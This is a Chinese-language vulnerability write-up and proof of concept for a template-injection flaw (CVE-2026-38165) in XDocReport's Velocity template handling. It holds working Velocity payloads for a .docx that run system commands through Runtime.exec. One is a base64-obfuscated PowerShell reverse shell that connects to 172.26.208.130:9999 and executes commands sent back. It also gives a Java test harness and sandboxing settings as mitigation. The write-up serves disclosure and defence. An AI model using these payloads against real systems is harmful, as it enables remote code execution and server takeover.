
CVE-2026-38165(SSTI)
漏洞概述
服务器端模板注入(SSTI)是一种Web安全漏洞,允许攻击者向内容管理系统(CMS)和Web框架使用的模板中注入恶意代码,以发起远程攻击、获取敏感信息或执行入侵系统的操作。
SSTI是注入漏洞(如SQL注入、XSS等)的一种变体,攻击者利用模板系统的使用从远程部署恶意代码。当SSTI攻击成功时,攻击者可以在服务器端执行自己的代码,从而能够进行远程攻击,例如收集敏感信息、执行系统入侵操作以及访问未授权的资源。
SSTI漏洞通常是由于使用了不安全的模板系统,或者在将输入参数插入模板前未进行检查和处理而导致的。如果SSTI攻击成功,后果可能非常严重,给被攻击组织造成巨大损失。
业务影响
SSTI漏洞可能造成多种严重后果,包括:
恶意代码执行:攻击者可以利用此漏洞在服务器上执行恶意代码,从而窃取数据、在系统上执行非法操作,甚至完全控制服务器。
敏感信息泄露:SSTI可能允许攻击者读取、修改或删除服务器上的文件。如果这些文件包含敏感信息(如账户和密码),攻击者可轻易泄露这些信息。
威胁或欺诈用户:攻击者可以通过更改网页内容或添加伪造的自定义按钮,使用SSTI进行威胁或欺诈攻击。如果用户点击这些按钮,攻击者可以窃取用户信息或在用户计算机上安装恶意软件。

fr.opensagres.xdocreport.template.velocity
在OpenSAGRES XDocReport处理使用velocity引擎的DOCX模板时发现了一个服务器端模板注入(SSTI)漏洞。在某些配置下,精心构造的模板可能导致远程代码执行(RCE)。
人事管理网站允许用户上传.docx文档文件到系统。在处理过程中,应用程序使用velocity模板引擎(位于文件中)来渲染内容,但没有任何输入内容控制或过滤机制。
此漏洞允许攻击者在.docx文件(模板)中插入恶意表达式,导致服务器上的远程代码执行(RCE),并可能被利用来窃取信息或控制系统。
fr.opensagres.xdocreport.template.velocity — XDocReport (版本 =< 2.1.0)。
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) 是Apache Velocity的标准/"默认"方法,用于从Reader(或String)评估模板,使用Context并将结果写入Writer。它执行VTL(Velocity模板语言)语法,与Template.merge(...)相同。
evaluate:从Reader/String解析 → 适用于模板为动态/不可信的情况。
getTemplate(...).merge(...):加载已经过资源加载器处理(缓存、编码等)的模板,然后进行合并。就VTL执行能力而言,两者执行相同的表达式;主要区别在于模板的加载位置/模式。
.docx文件:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx文件交给xdocreport处理

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
Apache Velocity SecureUberspector类是一个沙箱内省器。
SecureUberspector将阻止:
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
阻止:
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// 读取包含Velocity表达式的输入文件
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // 输入文件
InputStream input = new FileInputStream(docxTemplate);
// 使用Velocity加载模板
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// 创建上下文 - 如果仅测试独立表达式,可以留空
IContext context = report.createContext();
// 输出到新文件
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ 已成功创建result.docx文件。");
} catch (Exception e) {
System.err.println("❌ 处理文件时出错:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- 模板引擎:FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













